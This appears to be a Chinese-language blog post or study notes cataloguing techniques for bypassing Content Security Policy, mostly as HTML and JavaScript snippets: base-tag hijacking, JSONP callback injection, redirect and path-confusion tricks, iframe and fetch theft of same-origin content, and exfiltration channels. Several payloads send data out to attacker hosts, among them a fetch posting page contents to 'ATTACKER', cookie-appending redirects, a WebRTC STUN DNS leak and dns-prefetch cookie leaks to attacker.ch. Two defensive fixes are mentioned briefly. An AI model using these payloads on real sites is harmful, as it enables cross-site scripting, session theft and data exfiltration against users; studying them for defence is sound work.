前言
绕过csp的一些方法
不安全的domain
有一些三方库存在0day1
https://github.com/CanardMandarin/csp-bypass
1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src https://unpkg.com/">
</head>
<body>
<div id=userContent>
<script src="https://unpkg.com/react@16.7.0/umd/react.production.min.js"></script>
<script src="https://unpkg.com/csp-bypass@1.0.2/dist/sval-classic.js"></script>
<br csp="alert(1)">
</div>
</body>
</html>
通过base标签绕过
假设加上了nonce,且无法被猜测1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'nonce-abc123';">
</head>
<body>
<div id=userContent>
<!-- xss -->
<script src="https://attacker.com/my.js"></script>
</div>
<script nonce=abc123 src="app.js"></script>
</body>
</html>
这样就会无法加载my.js
但是如果用下面的代码1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'nonce-abc123';">
</head>
<body>
<div id=userContent>
<!-- xss -->
<base href="https://attacker.com/">
</div>
<script nonce=abc123 src="app.js"></script>
</body>
</html>
通过改变base,然后去加载攻击者的app.js
修复方法就是用上一章里面有的base-uri 'none'
JSONP绕过
JSONP
因为同源策略,如果想向其他网站取出数据,通过下面的代码是无法取出数据的1
2
3
4fetch('http://example.com/')
.then((response) => response.text())
.then((data) => btoa(data))
.then((data) => location.replace(`http://ATTACKER/?data=${data}`))
会爆出上面的错误,但是加载别人的js代码是没问题的1
2
3
4
5
6
7
8
9
header('Content-type: application/json');
//获取回调函数名
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);
//json数据
$json_data = '["customername1","customername2"]';
//输出jsonp格式的数据
echo $jsoncallback . "(" . $json_data . ")";
别人调用一个函数,函数名是你自己的请求的,然后你这边把函数设计一下就行了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>
<head>
<meta charset="utf-8">
<title>JSONP 实例</title>
</head>
<body>
<div id="divCustomers"></div>
<script type="text/javascript">
function callbackFunction(result, methodName)
{
var html = '<ul>';
for(var i = 0; i < result.length; i++)
{
html += '<li>' + result[i] + '</li>';
}
html += '</ul>';
document.getElementById('divCustomers').innerHTML = html;
}
</script>
<script type="text/javascript" src="https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>
绕过
这段代码是我从runoob抄下来的,他加了个htmlspecialchars,但是并没有什么卵用,直接绕1
<script type="text/javascript" src="https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=alert(1);callbackFunction"></script>
有一个仓库收集了一些jsonp,可以被绕过
https://github.com/zigoo0/JSONBee
所以真正的过滤应该是,只允许a-zA-Z.
这些字符
但是这样其实也有办法可以绕过
https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
参考这个文章,如果某个按钮出现了问题,你可以通过获取他的元素,然后click()1
2
3
4
5
6
7
8
9
<html>
<body>
<button id="a" onclick="alert(1)">点击弹窗</button>
<script>
document.body.firstElementChild.click()
</script>
</body>
</html>
如果是个jsonp,那么就是
https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=document.body.firstElementChild.click
重定向绕过
1 |
|
301.php1
2
header('Location: http://192.168.3.16/test.js');
前两个因为csp策略被阻拦了,最后一个是一个允许的,并且是个重定向,但是只能重定向到csp规定的host,他只是不在看path了,但是host还是看的,如果是1
2
header('Location: http://abc.com/test.js');
还是会被拦截
RPO绕过
如果CSP是允许https://example.com/script/abc/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://127.0.0.1/script/abc/">
<META HTTP-EQUIV="pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache, must-revalidate">
<META HTTP-EQUIV="expires" CONTENT="0">
</head>
<body>
<div id=userContent>
<script src="http://127.0.0.1/script/abc/..%2f..%2ftest.js"></script>
</div>
</body>
</html>
那么上面的代码就可以绕过,但是这是要取决于后端服务器的处理,nginx和nodejs是可以的,其他没测试过,到时候可以看看
通源类型的绕过
如果要获取http://127.0.0.1/ycb.php
中的内容,但是ycb.php
有csp保护,如下1
2
3
4<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
<h1 id="flag">flag{0xffff}</h1>
这时候该网站的另一个页面存在xss,并且没有CSP的保护(或者可以绕过),就可以通过很多方法去获得这个flag
iframe
1
2
3
4
5
6
7
8<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="http://127.0.0.1/ycb.php";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
</script>
</body>fetch
1
fetch('http://127.0.0.1/ycb.php').then((response) => response.text()).then((data)=>alert(data))
window.open
1
2
3
4ycb = window.open('http://127.0.0.1/ycb.php')
ycb.onload = function(){
alert(ycb.document.getElementById('flag').innerText)
};
其他种类的绕过
1 |
|
因为default-src 'none'
的原因,connect-src
也被设为了'none'
,这时候就没法使用fetch了,那么还有什么办法
跳转
1
2window.location = 'https://127.0.0.1/?q=' + document.cookie //这种是在当前页面跳转
window.open('https://127.0.0.1/?q=' + document.cookie) // 这种需要被攻击者确认弹窗,在UI模式下,headless不清楚WebRTC
通过dns来获取数据1
2
3
4
5
6
7var p = new RTCPeerConnection({
iceServers: [{
urls: "stun:" + "7a04c2947c.ipv6.1433.eu.org:1337"
}]
});
p.createDataChannel("d");
p.setLocalDescription()DNS prefetch
为了让加载速度更快,浏览器可以提前去解析一些标签的host为ip,但是只限于老版本的浏览器,现在新的已经不行了1
2
3
4var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";1
2
3
4
5<!-- firefox -->
<link rel="dns-prefetch" href="//${cookie}.vps_ip">
<!-- chrome -->
<link rel="prefetch" href="//vps_ip?${cookie}">可以加上这个header用来防御
X-DNS-Prefetch-Control: off